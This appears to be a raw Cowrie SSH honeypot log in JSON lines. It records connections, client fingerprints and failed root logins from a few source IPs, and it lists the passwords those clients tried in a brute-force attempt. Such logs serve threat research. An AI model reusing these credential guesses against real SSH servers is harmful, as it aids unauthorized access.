{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:11.340259Z","src_ip":"60.165.124.241","session":"bef8bc7d1a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geheim123","message":"login attempt [root/geheim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:12.053418Z","src_ip":"60.165.124.241","session":"bef8bc7d1a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:13.292619Z","src_ip":"60.165.124.241","session":"bef8bc7d1a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c12d2c65f0c","protocol":"ssh","message":"New connection: 60.165.124.241:51606 (10.17.0.5:22) [session: 1c12d2c65f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:13.526768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:13.530687Z","src_ip":"60.165.124.241","session":"1c12d2c65f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:13.767455Z","src_ip":"60.165.124.241","session":"1c12d2c65f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:14.484398Z","src_ip":"60.165.124.241","session":"1c12d2c65f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33099,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d877ce8fef2","protocol":"ssh","message":"New connection: 168.167.228.74:33099 (10.17.0.5:22) [session: 7d877ce8fef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:14.948922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:14.953824Z","src_ip":"168.167.228.74","session":"7d877ce8fef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:15.216339Z","src_ip":"168.167.228.74","session":"7d877ce8fef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:15.736750Z","src_ip":"60.165.124.241","session":"1c12d2c65f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54418,"dst_ip":"10.17.0.5","dst_port":22,"session":"2105e817758f","protocol":"ssh","message":"New connection: 60.165.124.241:54418 (10.17.0.5:22) [session: 2105e817758f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:15.985100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:15.990485Z","src_ip":"60.165.124.241","session":"2105e817758f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:16.227288Z","src_ip":"60.165.124.241","session":"2105e817758f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@112211","message":"login attempt [root/Aa@112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:16.292002Z","src_ip":"168.167.228.74","session":"7d877ce8fef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Minijer@520","message":"login attempt [root/Minijer@520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:16.964291Z","src_ip":"60.165.124.241","session":"2105e817758f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:17.555960Z","src_ip":"168.167.228.74","session":"7d877ce8fef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:18.214302Z","src_ip":"60.165.124.241","session":"2105e817758f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57128,"dst_ip":"10.17.0.5","dst_port":22,"session":"0468724b0ab3","protocol":"ssh","message":"New connection: 60.165.124.241:57128 (10.17.0.5:22) [session: 0468724b0ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:18.463943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:18.471494Z","src_ip":"60.165.124.241","session":"0468724b0ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:18.720450Z","src_ip":"60.165.124.241","session":"0468724b0ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc666666","message":"login attempt [root/Abc666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:19.474194Z","src_ip":"60.165.124.241","session":"0468724b0ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:20.720249Z","src_ip":"60.165.124.241","session":"0468724b0ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60124,"dst_ip":"10.17.0.5","dst_port":22,"session":"763211d74c87","protocol":"ssh","message":"New connection: 60.165.124.241:60124 (10.17.0.5:22) [session: 763211d74c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:20.965834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:20.970990Z","src_ip":"60.165.124.241","session":"763211d74c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:21.218963Z","src_ip":"60.165.124.241","session":"763211d74c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training","message":"login attempt [root/training] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:21.972713Z","src_ip":"60.165.124.241","session":"763211d74c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:23.224989Z","src_ip":"60.165.124.241","session":"763211d74c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35064,"dst_ip":"10.17.0.5","dst_port":22,"session":"9299237858c0","protocol":"ssh","message":"New connection: 60.165.124.241:35064 (10.17.0.5:22) [session: 9299237858c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:23.472025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:23.480847Z","src_ip":"60.165.124.241","session":"9299237858c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:23.730084Z","src_ip":"60.165.124.241","session":"9299237858c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789*","message":"login attempt [root/Aa123456789*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:24.486236Z","src_ip":"60.165.124.241","session":"9299237858c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:25.741851Z","src_ip":"60.165.124.241","session":"9299237858c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37862,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e9391ec847","protocol":"ssh","message":"New connection: 60.165.124.241:37862 (10.17.0.5:22) [session: 83e9391ec847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:25.992137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:25.996656Z","src_ip":"60.165.124.241","session":"83e9391ec847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:26.246406Z","src_ip":"60.165.124.241","session":"83e9391ec847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe123123","message":"login attempt [root/qweqwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:26.981092Z","src_ip":"60.165.124.241","session":"83e9391ec847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:28.225617Z","src_ip":"60.165.124.241","session":"83e9391ec847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"969a90546538","protocol":"ssh","message":"New connection: 60.165.124.241:40694 (10.17.0.5:22) [session: 969a90546538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:28.462182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:28.470372Z","src_ip":"60.165.124.241","session":"969a90546538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:28.717945Z","src_ip":"60.165.124.241","session":"969a90546538","protocol":"ssh"}
